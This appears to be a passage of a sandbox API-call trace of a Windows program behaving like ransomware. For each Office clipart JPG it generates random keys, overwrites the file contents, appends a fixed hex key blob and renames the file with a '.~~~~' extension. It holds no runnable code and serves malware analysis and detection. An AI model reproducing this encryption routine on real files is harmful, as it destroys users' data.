	[0108.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2828bd8
	[0108.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.377] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.377] GetLastError () returned 0x0
	[0108.377] GetLastError () returned 0x0
	[0108.377] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.377] GetLastError () returned 0x0
	[0108.377] GetLastError () returned 0x0
	[0108.423] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.423] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0108.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0108.425] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.425] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.425] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.425] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.425] CloseHandle (hObject=0x140) returned 1
	[0108.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a40d8
	[0108.468] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg.~~~~")) returned 1
	[0108.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a40d8 | out: hHeap=0x300000) returned 1
	[0108.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.476] GetLastError () returned 0x0
	[0108.476] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0108.478] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.478] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.478] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22846816357) returned 1
	[0108.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa5139d0, dwHighDateTime=0x1d60e1e)) 
	[0108.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808020
	[0108.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808020 | out: hHeap=0x300000) returned 1
	[0108.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a40d8
	[0108.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2828c70
	[0108.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a40d8 | out: hHeap=0x300000) returned 1
	[0108.479] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.479] GetLastError () returned 0x0
	[0108.479] GetLastError () returned 0x0
	[0108.479] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.479] GetLastError () returned 0x0
	[0108.479] GetLastError () returned 0x0
	[0108.484] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.484] WriteFile (in: hFile=0x140, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0108.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.485] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.485] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.486] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.486] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.486] CloseHandle (hObject=0x140) returned 1
	[0108.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a40d8
	[0108.486] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg.~~~~")) returned 1
	[0108.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a40d8 | out: hHeap=0x300000) returned 1
	[0108.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.487] GetLastError () returned 0x0
	[0108.487] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0108.489] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.489] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.489] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22847902608) returned 1
	[0108.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa5139d0, dwHighDateTime=0x1d60e1e)) 
	[0108.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808058
	[0108.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808058 | out: hHeap=0x300000) returned 1
	[0108.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a40d8
	[0108.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829130
	[0108.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a40d8 | out: hHeap=0x300000) returned 1
	[0108.490] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.490] GetLastError () returned 0x0
	[0108.490] GetLastError () returned 0x0
	[0108.490] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.490] GetLastError () returned 0x0
	[0108.490] GetLastError () returned 0x0
	[0108.493] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe8487, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.493] WriteFile (in: hFile=0x140, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x17b79, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x17b79, lpOverlapped=0x0) returned 1
	[0108.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.495] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.495] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.495] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.495] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.495] CloseHandle (hObject=0x140) returned 1
	[0108.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.495] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg.~~~~")) returned 1
	[0108.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.500] GetLastError () returned 0x0
	[0108.500] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0108.501] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.501] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.502] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22849165946) returned 1
	[0108.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa539b30, dwHighDateTime=0x1d60e1e)) 
	[0108.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28080c8
	[0108.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28080c8 | out: hHeap=0x300000) returned 1
	[0108.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28291c8
	[0108.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.502] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.503] GetLastError () returned 0x0
	[0108.503] GetLastError () returned 0x0
	[0108.503] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.503] GetLastError () returned 0x0
	[0108.503] GetLastError () returned 0x0
	[0108.507] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff270a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.507] WriteFile (in: hFile=0x140, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0xd8f6, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0xd8f6, lpOverlapped=0x0) returned 1
	[0108.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.587] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.587] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.587] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.587] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.587] CloseHandle (hObject=0x140) returned 1
	[0108.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.634] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg.~~~~")) returned 1
	[0108.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.647] GetLastError () returned 0x0
	[0108.647] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0108.648] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.648] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.649] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22864123712) returned 1
	[0108.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa6b68f0, dwHighDateTime=0x1d60e1e)) 
	[0108.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28082f8
	[0108.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28082f8 | out: hHeap=0x300000) returned 1
	[0108.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28292f8
	[0108.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.652] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0108.652] GetLastError () returned 0x0
	[0108.652] GetLastError () returned 0x0
	[0108.652] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0108.653] GetLastError () returned 0x0
	[0108.653] GetLastError () returned 0x0
	[0108.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff4641, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.657] WriteFile (in: hFile=0x130, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xb9bf, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0xb9bf, lpOverlapped=0x0) returned 1
	[0108.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0108.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.658] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.659] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.659] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.659] CloseHandle (hObject=0x130) returned 1
	[0108.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.659] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg.~~~~")) returned 1
	[0108.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0108.660] GetLastError () returned 0x0
	[0108.661] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0108.662] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.662] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0108.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0108.662] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22865249892) returned 1
	[0108.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaa6dca50, dwHighDateTime=0x1d60e1e)) 
	[0108.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0108.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0108.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0108.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808330
